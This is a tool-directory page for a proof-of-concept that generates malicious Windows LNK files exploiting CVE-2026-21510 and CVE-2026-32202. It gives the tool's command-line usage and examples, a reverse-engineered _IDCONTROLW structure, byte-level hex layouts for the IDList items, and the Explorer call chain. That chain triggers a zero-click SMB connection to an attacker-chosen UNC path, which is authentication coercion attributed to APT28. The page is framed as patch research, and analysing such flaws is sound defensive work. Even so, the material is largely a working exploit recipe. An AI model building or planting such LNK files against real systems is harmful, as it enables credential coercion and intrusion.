Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-32202 — Generates LNK files with crafted _IDCONTROLW structures to research Windows Shell spoofing vulnerabilities CVE-2026-21510 and CVE-2026-32202, including reverse engineering of shell32.dll internals. | Kitploit
Tools/GitHubGitHub/virus-or-not/cve-2026-32202
Vulnerability AnalysisExploitationReverse EngineeringBinary AnalysisPapers & Research
GitHubvirus-or-not/cve-2026-32202

CVE-2026-32202

Generates LNK files with crafted _IDCONTROLW structures to research Windows Shell spoofing vulnerabilities CVE-2026-21510 and CVE-2026-32202, including reverse engineering of shell32.dll internals.

View Repository
73 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC

root@kitploit:~
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]

Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.

options:
  -h, --help           show this help message and exit
  --unc, -u PATH       UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
  --out, -o FILE       Output LNK filename (default: test_idcontrolw.lnk)
  --applet-id, -a INT  Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
  --name, -n STR       Display name of the CPL applet (default: "Research CPL")
  --infotip, -i STR    Tooltip string (default: "CVE-2026-21510 research")
  --no-dump            Suppress the hex dump of _IDCONTROLW

Examples:
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
  python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump

Reverse Engineering : Reconstructing an Undocumented shell32.dll Structure

_IDCONTROLW

Research context: Analysis of CVE-2026-21510 / CVE-2026-32202 (APT28 LNK exploit chain).
Based on Akamai Security Research.
Goal: Reconstruct the internal _IDCONTROLW structure used by shell32.dll to represent Control Panel applets inside a LinkTargetIDList.


Background

APT28 exploited a vulnerability in Windows Shell (shell32.dll) by crafting a malicious .lnk file containing a LinkTargetIDList with a UNC path embedded inside an undocumented _IDCONTROLW structure. This caused explorer.exe to initiate an SMB connection to an attacker-controlled server without user interaction (zero-click).

The structure _IDCONTROLW is not documented in the public Windows SDK or in Microsoft's public PDB symbols for shell32.dll. This report documents its reconstruction through static analysis in IDA Pro.


LinkTargetIDList Structure Overview

According to MS-SHLLINK, the LinkTargetIDList contains a standard IDList — an array of variable-length ItemID entries terminated by a 2-byte null.

In the APT28 exploit, the IDList contains exactly three items:

IndexContents
IDList[0]CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — Control Panel root
IDList[1]CControlPanelCategoryFolder item — "All Control Panel Items" (category 0)
IDList[2]_IDCONTROLW — CPL applet entry with embedded UNC path

This resolves to the virtual path:

root@kitploit:~
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}

Methodology

Since _IDCONTROLW is absent from public PDB symbols, reconstruction was performed by tracing the call chain in IDA Pro starting from CControlPanelFolder::GetUIObjectOf — the function responsible for rendering Control Panel items in Explorer.


Call Chain Analysis

Entry point: CControlPanelFolder::GetUIObjectOf

When Explorer renders a folder containing the malicious LNK, it calls GetUIObjectOf to extract an icon for the CPL item. This triggers the following chain:

root@kitploit:~
CControlPanelFolder::GetUIObjectOf
  └── CControlPanelFolder::GetModuleMapped    ← PathFileExistsW triggered here (CVE-2026-32202)
        └── CControlPanelFolder::GetModule
              └── CControlPanelFolder::_IsUnicodeCPLWorker   ← detects _IDCONTROLW

_IsUnicodeCPLWorker — structure validation

root@kitploit:~
const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
    if ( *this > 0x18u          // cb > 24
      && !*(this + 4)           // +0x08 == 0
      && !*(this + 5)           // +0x0A == 0
      && !*((_BYTE *)this + 12) // +0x0C == 0
      && *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
        return (const struct _IDCONTROLW *)this;
    return nullptr;
}

This reveals the Unicode marker at offset +0x0D = 0x6A.

CControlPanelFolder::GetModule — field access

root@kitploit:~
// Unicode path read from offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);

// ANSI fallback reads from offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;

This confirms that the Unicode path (ModulePath) starts at +0x18.

_IDControlCreateW — structure construction

root@kitploit:~
int __userpurge _IDControlCreateW@<eax>(...)
{
    v8  = wcslen(a2);                          // len(ModulePath)
    v9  = 2 * wcslen(a3) + 2;                 // sizeof(Name) in bytes
    v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4);  // total data size

    v11 = ILCreate(v10 + 26);                 // alloc: data + 0x1A header

    v11[1]             = a1;                  // +0x04: dwAppletID
    *((_BYTE*)v11 + 13) = 106;               // +0x0D: typeFlag = 0x6A
    *((_WORD*)v11 + 10) = (2*v8+2) >> 1;    // +0x14: cchModule
    *((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
    *(_WORD*)v11        = v10 + 24;          // +0x00: cb
    // strings written at +0x18
}

Reconstructed _IDCONTROLW Structure

root@kitploit:~
struct _IDCONTROLW {
    WORD  cb;           // +0x00  size of entire structure (including cb itself)
    WORD  pad1;         // +0x02  padding, always 0
    DWORD dwAppletID;   // +0x04  applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
    WORD  pad2;         // +0x08  always 0  (checked by _IsUnicodeCPLWorker)
    WORD  pad3;         // +0x0A  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  pad4;         // +0x0C  always 0  (checked by _IsUnicodeCPLWorker)
    BYTE  typeFlag;     // +0x0D  = 0x6A — Unicode CPL marker
    WORD  pad5;         // +0x0E  padding
    DWORD pad6;         // +0x10  padding
    WORD  cchModule;    // +0x14  length of ModulePath in WCHARs (including null terminator)
    WORD  offName;      // +0x16  offset of Name from start of data[] in WCHARs
    WCHAR data[1];      // +0x18  ModulePath\0Name\0InfoTip (UTF-16LE)
};

Field reference table

OffsetSizeFieldValue / Notes
+0x00WORDcbTotal size of structure
+0x02WORDpad10
+0x04DWORDdwAppletIDApplet ID (e.g. 0xFFFFFF37 = -201)
+0x08WORDpad20 — validated by _IsUnicodeCPLWorker
+0x0AWORDpad30 — validated by _IsUnicodeCPLWorker
+0x0CBYTEpad40 — validated by _IsUnicodeCPLWorker
+0x0DBYTEtypeFlag0x6A — Unicode marker
+0x0EWORDpad50
+0x10DWORDpad60
+0x14WORDcchModulewcslen(ModulePath) + 1
+0x16WORDoffNamecchModule (Name immediately follows ModulePath)
+0x18WCHAR[]data[]ModulePath\0Name\0InfoTip (UTF-16LE)

Comparison: _IDCONTROL vs _IDCONTROLW

The ANSI version (_IDCONTROL) is created by _IDControlCreateA and uses a different layout:

root@kitploit:~
struct _IDCONTROL {
    WORD  cb;           // +0x00  = total_size + 12
    WORD  flags;        // +0x02
    DWORD dwAppletID;   // +0x04
    WORD  cchModule;    // +0x08  strlen(ModulePath) + 1
    WORD  offName;      // +0x0A  cchModule + strlen(Name) + 1
    CHAR  data[1];      // +0x0C  ModulePath\0Name\0InfoTip (ANSI)
};

Key differences:

Property_IDCONTROL (ANSI)_IDCONTROLW (Unicode)
Header size0x0C (12 bytes)0x18 (24 bytes)
String encodingANSI (char)UTF-16LE (WCHAR)
Unicode markerabsent+0x0D = 0x6A
Detection_IsUnicodeCPLWorker returns nullptrreturns pointer
Path start offset+0x0C+0x18

IDList Composition

IDList[0] — Control Panel root (CLSID {26EE0668-...})

root@kitploit:~
1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83

Type 0x1F = root shell item with CLSID.

IDList[1] — "All Control Panel Items" (category 0)

Reconstructed from CControlPanelCategoryFolder::CreateIDList:

root@kitploit:~
*(_WORD*)v5       = 12;          // cb = 0x0C
*((_WORD*)v5 + 1) = 1;           // flags = 0x0001
v5[1]             = 0x39DE2184;  // magic identifier
v5[2]             = 0;           // category index = 0

Binary:

root@kitploit:~
0C 00 01 00 84 21 DE 39 00 00 00 00

IDList[2] — _IDCONTROLW with UNC path

Example with \\192.168.1.31\share\test.cpl:

root@kitploit:~
9E 00           — cb = 158
00 00           — pad1
37 FF FF FF     — dwAppletID = -201
00 00           — pad2
00 00           — pad3
00              — pad4
6A              — typeFlag = 0x6A ✓
00 00 00 00 00 00  — pad5 + pad6
1E 00           — cchModule = 30
1E 00           — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)

Vulnerable Code Path

The vulnerability chain in the unpatched version:

root@kitploit:~
Explorer renders folder
  → CControlPanelFolder::GetUIObjectOf (icon extraction request)
    → CControlPanelFolder::GetModuleMapped
      → PathFileExistsW(pszPath)   ← SMB connection initiated HERE

Microsoft's patch (CVE-2026-21510) introduced ControlPanelLinkSite which adds SmartScreen verification via IVerifyingTrust::OnVerifyingTrust — but only at the ShellExecuteExW stage. The PathFileExistsW call in GetModuleMapped occurs earlier in the chain and was not addressed, leaving CVE-2026-32202 (authentication coercion) unpatched until a subsequent update.


Disclaimer

The information provided in this repository is for educational and informational purposes only. The author does not endorse or take responsibility for any unlawful, malicious, or unethical use of the material presented. The techniques and concepts discussed should not be applied to systems or networks without proper authorization. The author is not liable for any damages, legal consequences, or losses resulting from the misuse of this information. Readers are encouraged to adhere to all applicable laws and guidelines regarding cybersecurity practices.

Download Tool